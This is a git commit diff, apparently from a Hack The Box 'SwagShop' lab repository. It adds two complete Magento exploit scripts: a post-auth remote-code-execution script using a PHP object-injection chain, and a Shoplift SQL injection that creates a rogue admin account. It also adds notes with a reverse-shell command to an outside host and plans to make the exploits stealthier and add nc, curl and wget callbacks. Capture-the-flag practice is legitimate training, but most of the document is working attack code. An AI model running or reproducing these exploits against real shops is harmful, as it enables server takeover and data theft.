first commit · swag-shop@b1fe754

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+#!/usr/bin/python
+# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE 
+# Google Dork: "Powered by Magento"
+# Date: 08/18/2015
+# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
+# Vendor Homepage: http://magento.com/
+# Software Link: https://www.magentocommerce.com/download
+# Version: 1.9.0.1 and below
+# Tested on: Ubuntu 15
+# CVE : none
+
+from hashlib import md5
+import sys
+import re
+import base64
+import mechanize
+
+
+def usage():
+    print("Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\"")
+    sys.exit()
+
+
+if len(sys.argv) != 3:
+    usage()
+
+# Command-line args
+target = sys.argv[1]
+arg = sys.argv[2]
+
+# Config.
+username = 'ypwq'
+password = '123'
+php_function = 'system'  # Note: we can only pass 1 argument to the function
+install_date = b'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml
+
+# POP chain to pivot into call_user_exec
+payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
+          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
+          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
+          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
+          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
+          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
+                                                                                     len(arg), arg)
+# Setup the mechanize browser and options
+br = mechanize.Browser()
+#br.set_proxies({"http": "localhost:8080"})
+br.set_handle_robots(False)
+
+request = br.open(target)
+
+br.select_form(nr=0)
+#br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
+br.form.fixup()
+br['login[username]'] = username
+br['login[password]'] = password
+
+br.method = "POST"
+request = br.submit()
+content = request.read()
+
+url = re.search("ajaxBlockUrl = \'(.*)\'", content.decode())
+url = url.group(1)
+key = re.search("var FORM_KEY = '(.*)'", content.decode())
+key = key.group(1)
+
+request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
+tunnel = re.search("src=\"(.*)\?ga=", request.read().decode())
+tunnel = tunnel.group(1)
+
+payload = base64.b64encode(payload.encode())
+gh = md5(payload + install_date).hexdigest()
+
+#print("T",tunnel)
+#print("P",payload)
+#print("GH", gh)
+exploit = tunnel + '?ga=' + payload.decode() + '&h=' + gh
+
+try:
+    request = br.open(exploit)
+except (mechanize.HTTPError, mechanize.URLError) as e:
+    print(e.read().decode())
+

@@ -0,0 +1,37 @@
+- [x] validate steps
+- [ ] develop 4 dev requirements
+- [ ] make actions document
+
+```bash
+sudo apt install openvpn
+sudo openvpn <HTBVPN>.ovpn
+```
+
+```bash
+sudo apt install -y nmap curl
+```
+
+```bash
+export TARGET_IP=10.129.232.18
+ping -c 1 ${TARGET_IP}
+nmap -sV -T4 ${TARGET_IP}
+```
+
+```bash
+curl http://${TARGET_IP} -v 
+# pause: why did this fail
+curl http://${TARGET_IP} -v --follow
+# pause: why did this fail
+sudo vim /etc/hosts
+# <IP> swagshop.htb
+```
+
+```bash
+curl -L http://swagshop.htb/app/etc/local.xml
+Wed, 08 May 2019 07:23:09 +0000
+```
+
+```bash
+python3 poc.py http://swagshop.htb
+(venv) python3 exp.py http://swagshop.htb/index.php/admin /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'
+```

@@ -0,0 +1,38 @@
+import requests
+import base64
+import sys
+
+target = sys.argv[1]
+
+if not target.startswith("http"):
+    target = "http://" + target
+
+if target.endswith("/"):
+    target = target[:-1]
+
+target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"
+
+# For demo purposes, I use the same attack as is being used in the wild
+SQLQUERY="""
+SET @SALT = 'rp';
+SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
+SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
+INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
+INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
+"""
+
+# Put the nice readable queries into one line,
+# and insert the username:password combinination
+query = SQLQUERY.replace("\n", "").format(username="ypwq", password="123")
+pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query).encode()
+
+# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
+r = requests.post(target_url, 
+                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
+                        "filter": base64.b64encode(pfilter),
+                        "forwarded": 1})
+if r.ok:
+    print("WORKED")
+    print("Check {0}/admin with creds ypwq:123".format(target))
+else:
+    print("DID NOT WORK")

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+- Make a scanner for 
+  - Magento server - https://github.com/steverobbins/magescan
+    - report server version
+    - magento copyright year
+    - check paths: 
+      - app/etc/local.xml
+      - magento_version
+      - downloader
+
+https://github.com/joren485/Magento-Shoplift-SQLI
+- update to python3
+- confirm sqli vulnerable
+- modify to avoid obvious poc values in the database 
+
+https://www.exploit-db.com/exploits/37811
+- update to python3
+- create a repl for command execution
+- make a better tunnel callback mechanism 
+  - /bin/nc (not traditional)
+  - /usr/bin/curl
+  - /usr/bin/wget

Commit b1fe754

Commit `b1fe754`